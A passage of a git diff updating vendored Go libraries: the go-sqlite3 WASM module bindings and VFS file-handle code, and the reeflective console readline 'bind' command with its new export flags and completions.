"github.com/ncruces/go-sqlite3/vfs" - "github.com/tetratelabs/wazero" - "github.com/tetratelabs/wazero/api" -) - -// Configure SQLite WASM. -// -// Importing package embed initializes these -// with an appropriate build of SQLite: -// -// import _ "github.com/ncruces/go-sqlite3/embed" -var ( - Binary []byte // WASM binary to load. - Path string // Path to load the binary from. -) - -var sqlite3 struct { - runtime wazero.Runtime - compiled wazero.CompiledModule - err error - once sync.Once -} - -func instantiateModule() (*module, error) { - ctx := context.Background() - - sqlite3.once.Do(compileModule) - if sqlite3.err != nil { - return nil, sqlite3.err - } - - cfg := wazero.NewModuleConfig() - - mod, err := sqlite3.runtime.InstantiateModule(ctx, sqlite3.compiled, cfg) - if err != nil { - return nil, err - } - return newModule(mod) -} - -func compileModule() { - ctx := context.Background() - sqlite3.runtime = wazero.NewRuntime(ctx) - - env := vfs.ExportHostFunctions(sqlite3.runtime.NewHostModuleBuilder("env")) - _, sqlite3.err = env.Instantiate(ctx) - if sqlite3.err != nil { - return - } - - bin := Binary - if bin == nil && Path != "" { - bin, sqlite3.err = os.ReadFile(Path) - if sqlite3.err != nil { - return - } - } - if bin == nil { - sqlite3.err = util.BinaryErr - return - } - - sqlite3.compiled, sqlite3.err = sqlite3.runtime.CompileModule(ctx, bin) -} - -type module struct { - ctx context.Context - mod api.Module - vfs io.Closer - api sqliteAPI - arg [8]uint64 -} - -func newModule(mod api.Module) (m *module, err error) { - m = new(module) - m.mod = mod - m.ctx, m.vfs = vfs.NewContext(context.Background()) - - getFun := func(name string) api.Function { - f := mod.ExportedFunction(name) - if f == nil { - err = util.NoFuncErr + util.ErrorString(name) - return nil - } - return f - } - - getVal := func(name string) uint32 { - g := mod.ExportedGlobal(name) - if g == nil { - err = util.NoGlobalErr + util.ErrorString(name) - return 0 - } - return util.ReadUint32(mod, uint32(g.Get())) - } - - m.api = sqliteAPI{ - free: getFun("free"), - malloc: getFun("malloc"), - destructor: getVal("malloc_destructor"), - errcode: getFun("sqlite3_errcode"), - errstr: getFun("sqlite3_errstr"), - errmsg: getFun("sqlite3_errmsg"), - erroff: getFun("sqlite3_error_offset"), - open: getFun("sqlite3_open_v2"), - close: getFun("sqlite3_close"), - closeZombie: getFun("sqlite3_close_v2"), - prepare: getFun("sqlite3_prepare_v3"), - finalize: getFun("sqlite3_finalize"), - reset: getFun("sqlite3_reset"), - step: getFun("sqlite3_step"), - exec: getFun("sqlite3_exec"), - clearBindings: getFun("sqlite3_clear_bindings"), - bindCount: getFun("sqlite3_bind_parameter_count"), - bindIndex: getFun("sqlite3_bind_parameter_index"), - bindName: getFun("sqlite3_bind_parameter_name"), - bindNull: getFun("sqlite3_bind_null"), - bindInteger: getFun("sqlite3_bind_int64"), - bindFloat: getFun("sqlite3_bind_double"), - bindText: getFun("sqlite3_bind_text64"), - bindBlob: getFun("sqlite3_bind_blob64"), - bindZeroBlob: getFun("sqlite3_bind_zeroblob64"), - columnCount: getFun("sqlite3_column_count"), - columnName: getFun("sqlite3_column_name"), - columnType: getFun("sqlite3_column_type"), - columnInteger: getFun("sqlite3_column_int64"), - columnFloat: getFun("sqlite3_column_double"), - columnText: getFun("sqlite3_column_text"), - columnBlob: getFun("sqlite3_column_blob"), - columnBytes: getFun("sqlite3_column_bytes"), - blobOpen: getFun("sqlite3_blob_open"), - blobClose: getFun("sqlite3_blob_close"), - blobReopen: getFun("sqlite3_blob_reopen"), - blobBytes: getFun("sqlite3_blob_bytes"), - blobRead: getFun("sqlite3_blob_read"), - blobWrite: getFun("sqlite3_blob_write"), - backupInit: getFun("sqlite3_backup_init"), - backupStep: getFun("sqlite3_backup_step"), - backupFinish: getFun("sqlite3_backup_finish"), - backupRemaining: getFun("sqlite3_backup_remaining"), - backupPageCount: getFun("sqlite3_backup_pagecount"), - changes: getFun("sqlite3_changes64"), - lastRowid: getFun("sqlite3_last_insert_rowid"), - autocommit: getFun("sqlite3_get_autocommit"), - } - if err != nil { - return nil, err - } - return m, nil -} - -func (m *module) close() error { - err := m.mod.Close(m.ctx) - m.vfs.Close() - return err -} - -func (m *module) error(rc uint64, handle uint32, sql ...string) error { - if rc == _OK { - return nil - } - - err := Error{code: rc} - - if err.Code() == NOMEM || err.ExtendedCode() == IOERR_NOMEM { - panic(util.OOMErr) - } - - if r := m.call(m.api.errstr, rc); r != 0 { - err.str = util.ReadString(m.mod, uint32(r), _MAX_STRING) - } - - if r := m.call(m.api.errmsg, uint64(handle)); r != 0 { - err.msg = util.ReadString(m.mod, uint32(r), _MAX_STRING) - } - - if sql != nil { - if r := m.call(m.api.erroff, uint64(handle)); r != math.MaxUint32 { - err.sql = sql[0][r:] - } - } - - switch err.msg { - case err.str, "not an error": - err.msg = "" - } - return &err -} - -func (m *module) call(fn api.Function, params ...uint64) uint64 { - copy(m.arg[:], params) - err := fn.CallWithStack(m.ctx, m.arg[:]) - if err != nil { - // The module closed or panicked; release resources. - m.vfs.Close() - panic(err) - } - return m.arg[0] -} - -func (m *module) free(ptr uint32) { - if ptr == 0 { - return - } - m.call(m.api.free, uint64(ptr)) -} - -func (m *module) new(size uint64) uint32 { - if size > _MAX_ALLOCATION_SIZE { - panic(util.OOMErr) - } - ptr := uint32(m.call(m.api.malloc, size)) - if ptr == 0 && size != 0 { - panic(util.OOMErr) - } - return ptr -} - -func (m *module) newBytes(b []byte) uint32 { - if b == nil { - return 0 - } - ptr := m.new(uint64(len(b))) - util.WriteBytes(m.mod, ptr, b) - return ptr -} - -func (m *module) newString(s string) uint32 { - ptr := m.new(uint64(len(s) + 1)) - util.WriteString(m.mod, ptr, s) - return ptr -} - -func (m *module) newArena(size uint64) arena { - return arena{ - m: m, - base: m.new(size), - size: uint32(size), - } -} - -type arena struct { - m *module - ptrs []uint32 - base uint32 - next uint32 - size uint32 -} - -func (a *arena) free() { - if a.m == nil { - return - } - a.reset() - a.m.free(a.base) - a.m = nil -} - -func (a *arena) reset() { - for _, ptr := range a.ptrs { - a.m.free(ptr) - } - a.ptrs = nil - a.next = 0 -} - -func (a *arena) new(size uint64) uint32 { - if size <= uint64(a.size-a.next) { - ptr := a.base + a.next - a.next += uint32(size) - return ptr - } - ptr := a.m.new(size) - a.ptrs = append(a.ptrs, ptr) - return ptr -} - -func (a *arena) bytes(b []byte) uint32 { - if b == nil { - return 0 - } - ptr := a.new(uint64(len(b))) - util.WriteBytes(a.m.mod, ptr, b) - return ptr -} - -func (a *arena) string(s string) uint32 { - ptr := a.new(uint64(len(s) + 1)) - util.WriteString(a.m.mod, ptr, s) - return ptr -} - -type sqliteAPI struct { - free api.Function - malloc api.Function - errcode api.Function - errstr api.Function - errmsg api.Function - erroff api.Function - open api.Function - close api.Function - closeZombie api.Function - prepare api.Function - finalize api.Function - reset api.Function - step api.Function - exec api.Function - clearBindings api.Function - bindNull api.Function - bindCount api.Function - bindIndex api.Function - bindName api.Function - bindInteger api.Function - bindFloat api.Function - bindText api.Function - bindBlob api.Function - bindZeroBlob api.Function - columnCount api.Function - columnName api.Function - columnType api.Function - columnInteger api.Function - columnFloat api.Function - columnText api.Function - columnBlob api.Function - columnBytes api.Function - blobOpen api.Function - blobClose api.Function - blobReopen api.Function - blobBytes api.Function - blobRead api.Function - blobWrite api.Function - backupInit api.Function - backupStep api.Function - backupFinish api.Function - backupRemaining api.Function - backupPageCount api.Function - changes api.Function - lastRowid api.Function - autocommit api.Function - destructor uint32 -} diff --git a/vendor/github.com/ncruces/go-sqlite3/stmt.go b/vendor/github.com/ncruces/go-sqlite3/stmt.go index 2fae0b40fb..c26de44cc2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/stmt.go +++ b/vendor/github.com/ncruces/go-sqlite3/stmt.go @@ -131,10 +131,11 @@ func (s *Stmt) BindName(param int) string { // // https://www.sqlite.org/c3ref/bind_blob.html func (s *Stmt) BindBool(param int, value bool) error { + var i int64 if value { - return s.BindInt64(param, 1) + i = 1 } - return s.BindInt64(param, 0) + return s.BindInt64(param, i) } // BindInt binds an int to the prepared statement. @@ -374,18 +375,7 @@ func (s *Stmt) ColumnBlob(col int, buf []byte) []byte { func (s *Stmt) ColumnRawText(col int) []byte { r := s.c.call(s.c.api.columnText, uint64(s.handle), uint64(col)) - - ptr := uint32(r) - if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) - s.err = s.c.error(r) - return nil - } - - r = s.c.call(s.c.api.columnBytes, - uint64(s.handle), uint64(col)) - - return util.View(s.c.mod, ptr, r) + return s.columnRawBytes(col, uint32(r)) } // ColumnRawBlob returns the value of the result column as a []byte. @@ -397,17 +387,18 @@ func (s *Stmt) ColumnRawText(col int) []byte { func (s *Stmt) ColumnRawBlob(col int) []byte { r := s.c.call(s.c.api.columnBlob, uint64(s.handle), uint64(col)) + return s.columnRawBytes(col, uint32(r)) +} - ptr := uint32(r) +func (s *Stmt) columnRawBytes(col int, ptr uint32) []byte { if ptr == 0 { - r = s.c.call(s.c.api.errcode, uint64(s.c.handle)) + r := s.c.call(s.c.api.errcode, uint64(s.c.handle)) s.err = s.c.error(r) return nil } - r = s.c.call(s.c.api.columnBytes, + r := s.c.call(s.c.api.columnBytes, uint64(s.handle), uint64(col)) - return util.View(s.c.mod, ptr, r) } diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go index 7425096241..158f1731d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go @@ -15,7 +15,7 @@ type VFS interface { FullPathname(name string) (string, error) } -// VFSParams extends VFS to with the ability to handle URI parameters +// VFSParams extends VFS with the ability to handle URI parameters // through the OpenParams method. // // https://www.sqlite.org/c3ref/uri_boolean.html diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go index e50bacffc8..3114705b7b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go @@ -44,33 +44,6 @@ func ExportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder return env } -type vfsKey struct{} -type vfsState struct { - files []File -} - -// NewContext is an internal API users need not call directly. -// -// NewContext creates a new context to hold [api.Module] specific VFS data. -// The context should be passed to any [api.Function] calls that might -// generate VFS host callbacks. -// The returned [io.Closer] should be closed after the [api.Module] is closed, -// to release any associated resources. -func NewContext(ctx context.Context) (context.Context, io.Closer) { - vfs := new(vfsState) - return context.WithValue(ctx, vfsKey{}, vfs), vfs -} - -func (vfs *vfsState) Close() error { - for _, f := range vfs.files { - if f != nil { - f.Close() - } - } - vfs.files = nil - return nil -} - func vfsFind(ctx context.Context, mod api.Module, zVfsName uint32) uint32 { name := util.ReadString(mod, zVfsName, _MAX_STRING) if vfs := Find(name); vfs != nil && vfs != (vfsOS{}) { @@ -183,6 +156,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla file, flags, err = vfs.Open(path, flags) } + if err != nil { + return vfsErrorCode(err, _CANTOPEN) + } + if file, ok := file.(FilePowersafeOverwrite); ok { if !parsed { params = vfsURIParameters(ctx, mod, zPath, flags) @@ -192,14 +169,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla } } - if err != nil { - return vfsErrorCode(err, _CANTOPEN) - } - - vfsFileRegister(ctx, mod, pFile, file) if pOutFlags != 0 { util.WriteUint32(mod, pOutFlags, uint32(flags)) } + vfsFileRegister(ctx, mod, pFile, file) return _OK } @@ -431,40 +404,22 @@ func vfsGet(mod api.Module, pVfs uint32) VFS { panic(util.NoVFSErr + util.ErrorString(name)) } -func vfsFileNew(vfs *vfsState, file File) uint32 { - // Find an empty slot. - for id, f := range vfs.files { - if f == nil { - vfs.files[id] = file - return uint32(id) - } - } - - // Add a new slot. - vfs.files = append(vfs.files, file) - return uint32(len(vfs.files) - 1) -} - func vfsFileRegister(ctx context.Context, mod api.Module, pFile uint32, file File) { const fileHandleOffset = 4 - id := vfsFileNew(ctx.Value(vfsKey{}).(*vfsState), file) + id := util.AddHandle(ctx, file) util.WriteUint32(mod, pFile+fileHandleOffset, id) } func vfsFileGet(ctx context.Context, mod api.Module, pFile uint32) File { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - return vfs.files[id] + return util.GetHandle(ctx, id).(File) } func vfsFileClose(ctx context.Context, mod api.Module, pFile uint32) error { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - file := vfs.files[id] - vfs.files[id] = nil - return file.Close() + return util.DelHandle(ctx, id) } func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { @@ -477,9 +432,3 @@ func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { } return def } - -func clear(b []byte) { - for i := range b { - b[i] = 0 - } -} diff --git a/vendor/github.com/reeflective/console/README.md b/vendor/github.com/reeflective/console/README.md index 0d6dc7fb22..e555fd4b49 100644 --- a/vendor/github.com/reeflective/console/README.md +++ b/vendor/github.com/reeflective/console/README.md @@ -90,7 +90,7 @@ is also available in the [wiki](https://github.com/reeflective/console/wiki): ![console](https://github.com/reeflective/console/blob/assets/console.gif) -## Status +## Status The library is in a pre-release candidate status: - Although quite simple and small, it has not been tested heavily. @@ -100,3 +100,13 @@ The library is in a pre-release candidate status: Please open a PR or an issue if you wish to bring enhancements to it. Other contributions, as well as bug fixes and reviews are also welcome. + +## Possible Improvements + +The following is a currently moving list of possible enhancements to be made in order to reach `v1.0`: +- [ ] Ensure to the best extent possible a thread-safe access to the command API. +- [ ] Clearer integration/alignment of the various I/O references between readline and commands. +- [ ] Clearer and sane model for asynchronous control/cancel of commands. +- [ ] Allow users to run the console command trees in one-exec style, with identical behavior. +- [ ] Test suite for most important or risky code paths. +- [ ] Set of helper functions for application-related directories. diff --git a/vendor/github.com/reeflective/console/command.go b/vendor/github.com/reeflective/console/command.go index 2e019480ef..d3858cd3e9 100644 --- a/vendor/github.com/reeflective/console/command.go +++ b/vendor/github.com/reeflective/console/command.go @@ -1,8 +1,6 @@ package console import ( - "strings" - "github.com/spf13/cobra" ) @@ -75,38 +73,3 @@ next: c.filters = updated } - -func (c *Console) isFiltered(cmd *cobra.Command) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range c.filters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } - - return false -} - -// hide commands that are filtered so that they are not -// shown in the help strings or proposed as completions. -func (c *Console) hideFilteredCommands() { - for _, cmd := range c.activeMenu().Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if c.isFiltered(cmd) { - cmd.Hidden = true - } - } -} diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2099658aef..2af32deb5f 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -4,13 +4,13 @@ import ( "errors" "fmt" "os" - "sort" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. @@ -20,15 +20,25 @@ func Bind(shell *readline.Shell) *cobra.Command { Short: "Display or modify readline key bindings", Long: `Manipulate readline keymaps and bindings. -Basic binding examples: - bind "\C-x\C-r": re-read-init-file // C-x C-r to reload the inputrc file, in the default keymap. - bind -m vi-insert "\C-l" clear-screen // C-l to clear-screen in vi-insert mode - bind -m menu-complete '\C-n' menu-complete // C-n to cycle through choices in the completion keymap. - +Changing binds: Note that the keymap name is optional, and if omitted, the default keymap is used. The default keymap is 'vi' only if 'set editing-mode vi' is found in inputrc , and unless the -m option is used to set a different keymap. -Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.`, +Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command. + +Exporting binds: +- Since all applications always look up to the same file for a given user, + the export command does not allow to write and modify this file itself. +- Also, since saving the entire list of options and bindings in a different + file for each application would also defeat the purpose of .inputrc.`, + Example: `Changing binds: + bind "\C-x\C-r": re-read-init-file # C-x C-r to reload the inputrc file, in the default keymap. + bind -m vi-insert "\C-l" clear-screen # C-l to clear-screen in vi-insert mode + bind -m menu-complete '\C-n' menu-complete # C-n to cycle through choices in the completion keymap. + +Exporting binds: + bind --binds-rc --lib --changed # Only changed options/binds to stdout applying to all apps using this lib + bind --app OtherApp -c # Changed options, applying to an app other than our current shell one`, } // Flags @@ -44,8 +54,27 @@ Also, note that the bind [seq] [command] slightly differs from the original bash cmd.Flags().StringP("unbind", "u", "", "Unbind all keys which are bound to the named function") cmd.Flags().StringP("remove", "r", "", "Remove the bindings for KEYSEQ") cmd.Flags().StringP("file", "f", "", "Read key bindings from FILENAME") - // cmd.Flags().StringP("execute", "x", "", "Cause SHELL-COMMAND to be executed whenever KEYSEQ is entered") - // cmd.Flags().BoolP("execute-rc", "X", false, "List key sequences bound with -x and associated commands in a form that can be reused as input") + cmd.Flags().StringP("app", "A", "", "Optional application name (if empty/not used, the current app)") + cmd.Flags().BoolP("changed", "c", false, "Only export options modified since app start: maybe not needed, since no use for it") + cmd.Flags().BoolP("lib", "L", false, "Like 'app', but export options/binds for all apps using this specific library") + cmd.Flags().BoolP("self-insert", "I", false, "If exporting bind sequences, also include the sequences mapped to self-insert") + + // Completions + comps := carapace.Gen(cmd) + flagComps := make(carapace.ActionMap) + + flagComps["keymap"] = completeKeymaps(shell, cmd) + flagComps["query"] = completeCommands(shell, cmd) + flagComps["unbind"] = completeCommands(shell, cmd) + flagComps["remove"] = completeBindSequences(shell, cmd) + flagComps["file"] = carapace.ActionFiles() + + comps.FlagCompletion(flagComps) + + comps.PositionalCompletion( + carapace.ActionValues().Usage("key sequence"), + completeCommands(shell, cmd), + ) // Run implementation cmd.RunE = func(cmd *cobra.Command, args []string) error { @@ -55,358 +84,222 @@ Also, note that the bind [seq] [command] slightly differs from the original bash keymap = string(shell.Keymap.Main()) } - // Listing actions - switch { - // Function names - case cmd.Flags().Changed("list"): - for name := range shell.Keymap.Commands() { - fmt.Println(name) - } + var name string + var reeflective = "reeflective" + var buf = &cfgBuilder{buf: &strings.Builder{}} - // Sequences to function names - case cmd.Flags().Changed("binds"): - shell.Keymap.PrintBinds(keymap, false) - return nil + // First prepare the branching strings for any + // needed conditionals (App, Lib, keymap, etc) + changed := cmd.Flags().Changed("changed") + rm := cmd.Flags().Changed("remove") + unbind := cmd.Flags().Changed("unbind") + app := cmd.Flags().Changed("app") + lib := cmd.Flags().Changed("lib") - case cmd.Flags().Changed("binds-rc"): - shell.Keymap.PrintBinds(keymap, true) - return nil + // 1 - SIMPLE QUERIES ------------------------------------------------ - // Macros - case cmd.Flags().Changed("macros"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil - } - var macroBinds []string + // All flags and args that are "exiting the command + // after run" are listed and evaluated first. - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } + // Function names + if cmd.Flags().Changed("list") { + for name := range shell.Keymap.Commands() { + fmt.Println(name) } - sort.Strings(macroBinds) - - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("%s outputs %s\n", key, action) - } + return nil + } + // 2 - Query binds for function + if cmd.Flags().Changed("query") { + listBinds(shell, buf, cmd, keymap) + fmt.Fprint(cmd.OutOrStdout(), buf.buf.String()) return nil + } - case cmd.Flags().Changed("macros-rc"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil + // From this point on, some flags don't exit after printing + // their respective listings, since we can combine and output + // various types of stuff at once, for configs or display. + // + // We can even read a file for binds, remove some of them, + // and display all or specific sections of our config in + // a single call, with multiple flags of all sorts. + + // 1 - Apply any changes we want from a file first. + if cmd.Flags().Changed("file") { + if err := readFileConfig(shell, cmd, keymap); err != nil { + return err } - var macroBinds []string + } - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } - } + // Remove anything we might have been asked to. + if unbind { + unbindKeys(shell, cmd, keymap) + } - sort.Strings(macroBinds) + if rm { + removeCommands(shell, cmd, keymap) + } - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("\"%s\": \"%s\"\n", key, action) - } + // 2 - COMPLEX QUERIES ------------------------------------------------ - return nil + // Write App/Lib headers for + if app { + fmt.Fprintf(buf, "# %s application (generated)\n", name) + buf.newCond(name) + } else if lib { + fmt.Fprintf(buf, "# %s/readline library-specific (generated)\n", reeflective) + buf.newCond(reeflective) + } - // Global readline options - case cmd.Flags().Changed("vars"): - var variables []string + // Global option variables + if cmd.Flags().Changed("vars") { + listVars(shell, buf, cmd) + } else if cmd.Flags().Changed("vars-rc") { + listVarsRC(shell, buf, cmd) + } - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } + // Sequences to function names + if cmd.Flags().Changed("binds") { + listBinds(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("binds-rc") { + listBindsRC(shell, buf, cmd, keymap) + } - sort.Strings(variables) + // Macros + if cmd.Flags().Changed("macros") { + listMacros(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("macros-rc") { + listMacrosRC(shell, buf, cmd, keymap) + } - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("%s is set to `%v'\n", variable, value) - } + // Close any App/Lib conditional + buf.endCond() + // The command has performed an action, so any binding + // with positional arguments is not considered or evaluated. + if buf.buf.Len() > 0 { + fmt.Fprintln(cmd.OutOrStdout(), buf.buf.String()) return nil - - case cmd.Flags().Changed("vars-rc"): - var variables []string - - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } - - sort.Strings(variables) - - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("set %s %v\n", variable, value) - } - + } else if app || lib || changed || rm || unbind { return nil + } - // Query binds for function - case cmd.Flags().Changed("query"): - binds := shell.Config.Binds[keymap] - if binds == nil { - return nil - } - - command, _ := cmd.Flags().GetString("query") - - // Make a list of all sequences bound to each command. - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, inputrc.Escape(key)) - } - - sort.Strings(cmdBinds) - - switch { - case len(cmdBinds) == 0: - case len(cmdBinds) > 5: - var firstBinds []string - - for i := 0; i < 5; i++ { - firstBinds = append(firstBinds, "\""+cmdBinds[i]+"\"") - } + // 3 - CREATE NEw BINDS ----------------------------------------------- - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s ...\n", command, bindsStr) + // Bind actions. + // Some keymaps are aliases of others, so use either + // all equivalents or fallback to the relevant keymap. + if len(args) < 2 { + return errors.New("Usage: bind [-m keymap] [keyseq] [command]") + } - default: - var firstBinds []string + // The key sequence is an escaped string, so unescape it. + seq := inputrc.Unescape(args[0]) - for _, bind := range cmdBinds { - firstBinds = append(firstBinds, "\""+bind+"\"") - } + var found bool - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s\n", command, bindsStr) + for command := range shell.Keymap.Commands() { + if command == args[1] { + found = true + break } - - return nil - - // case cmd.Flags().Changed("execute-rc"): - // return nil } - // Bind actions. - // Some keymaps are aliases of others, so use either all equivalents or fallback to the relevant keymap. - switch { - case cmd.Flags().Changed("unbind"): - command, _ := cmd.Flags().GetString("unbind") - - unbind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } - - applyToKeymap(keymap, unbind) - - case cmd.Flags().Changed("remove"): - seq, _ := cmd.Flags().GetString("remove") - - removeBind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key := range binds { - if key != seq { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } + if !found { + return fmt.Errorf("Unknown command: %s", args[1]) + } - applyToKeymap(keymap, removeBind) + // If the keymap doesn't exist, create it. + if shell.Config.Binds[keymap] == nil { + shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) + } - case cmd.Flags().Changed("file"): - fileF, _ := cmd.Flags().GetString("file") + // Adjust some keymaps (aliases of each other). + bindkey := func(keymap string) { + shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} + } - file, err := os.Stat(fileF) - if err != nil { - return err - } + // (Bind the key sequence to the command) + applyToKeymap(keymap, bindkey) - if err = inputrc.ParseFile(file.Name(), shell.Config, shell.Opts...); err != nil { - return err - } + return nil + } - fmt.Printf("Read %s\n", file.Name()) - // case cmd.Flags().Changed("execute"): + return cmd +} - // Else if sufficient arguments, bind the key sequence to the command. - default: - if len(args) < 2 { - return errors.New("Usage: bind [-m keymap] [keyseq] [command]") - } +// +// Binding & Unbinding functions --------------------------------- +// - // The key sequence is an escaped string, so unescape it. - seq := inputrc.Unescape(args[0]) +func readFileConfig(sh *readline.Shell, cmd *cobra.Command, _ string) error { + fileF, _ := cmd.Flags().GetString("file") - var found bool + file, err := os.Stat(fileF) + if err != nil { + return err + } - for command := range shell.Keymap.Commands() { - if command == args[1] { - found = true - break - } - } + if err = inputrc.ParseFile(file.Name(), sh.Config, sh.Opts...); err != nil { + return err + } - if !found { - return fmt.Errorf("Unknown command: %s", args[1]) - } + fmt.Printf("Read and parsed %s\n", file.Name()) - // If the keymap doesn't exist, create it. - if shell.Config.Binds[keymap] == nil { - shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) - } + return nil +} - // Adjust some keymaps (aliases of each other). - bindkey := func(keymap string) { - shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} - } +func unbindKeys(sh *readline.Shell, cmd *cobra.Command, keymap string) { + command, _ := cmd.Flags().GetString("unbind") - // (Bind the key sequence to the command.) - applyToKeymap(keymap, bindkey) + unbind := func(keymap string) { + binds := sh.Config.Binds[keymap] + if binds == nil { + return } - return nil - } - - // *** Completions *** - comps := carapace.Gen(cmd) - flagComps := make(carapace.ActionMap) + cmdBinds := make([]string, 0) - // Flags - flagComps["keymap"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) + for key, bind := range binds { + if bind.Action != command { + continue + } - for name := range shell.Config.Binds { - results = append(results, name) + cmdBinds = append(cmdBinds, key) } - return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") - }) - - functionsComps := carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) - - for name := range shell.Keymap.Commands() { - results = append(results, name) + for _, key := range cmdBinds { + delete(binds, key) } + } - return carapace.ActionValues(results...).Tag("commands").Usage("command") - }) - - bindSequenceComps := carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { - // Get the keymap. - var keymap string - - if cmd.Flags().Changed("keymap") { - keymap, _ = cmd.Flags().GetString("keymap") - } + applyToKeymap(keymap, unbind) +} - if keymap == "" { - keymap = string(shell.Keymap.Main()) - } +func removeCommands(sh *readline.Shell, cmd *cobra.Command, keymap string) { + seq, _ := cmd.Flags().GetString("remove") - // Get the binds. - binds := shell.Config.Binds[keymap] + removeBind := func(keymap string) { + binds := sh.Config.Binds[keymap] if binds == nil { - return carapace.ActionValues().Usage("sequence") + return } - // Make a list of all sequences bound to each command, with descriptions. cmdBinds := make([]string, 0) - insertBinds := make([]string, 0) - for key, bind := range binds { - if bind.Action == "self-insert" { - insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") - } else { - cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") - cmdBinds = append(cmdBinds, bind.Action) + for key := range binds { + if key != seq { + continue } - } - - return carapace.Batch( - carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), - carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), - ).ToA() - }) - - flagComps["query"] = functionsComps - flagComps["unbind"] = functionsComps - flagComps["file"] = carapace.ActionFiles() - flagComps["remove"] = bindSequenceComps - - comps.FlagCompletion(flagComps) - - // Positional arguments - comps.PositionalCompletion( - carapace.ActionValues().Usage("sequence"), - functionsComps, - ) - - return cmd -} -func applyToKeymap(keymap string, bind func(keymap string)) { - switch keymap { - case "emacs", "emacs-standard": - for _, km := range []string{"emacs", "emacs-standard"} { - bind(km) + cmdBinds = append(cmdBinds, key) } - case "emacs-ctlx": - for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { - bind(km) - } - case "emacs-meta": - for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { - bind(km) - } - case "vi", "vi-move", "vi-command": - for _, km := range []string{"vi", "vi-move", "vi-command"} { - bind(km) + + for _, key := range cmdBinds { + delete(binds, key) } - default: - bind(keymap) } + + applyToKeymap(keymap, removeBind) } diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index e3ec1bf03b..cb89c6c650 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,8 +1,9 @@ package readline import ( - 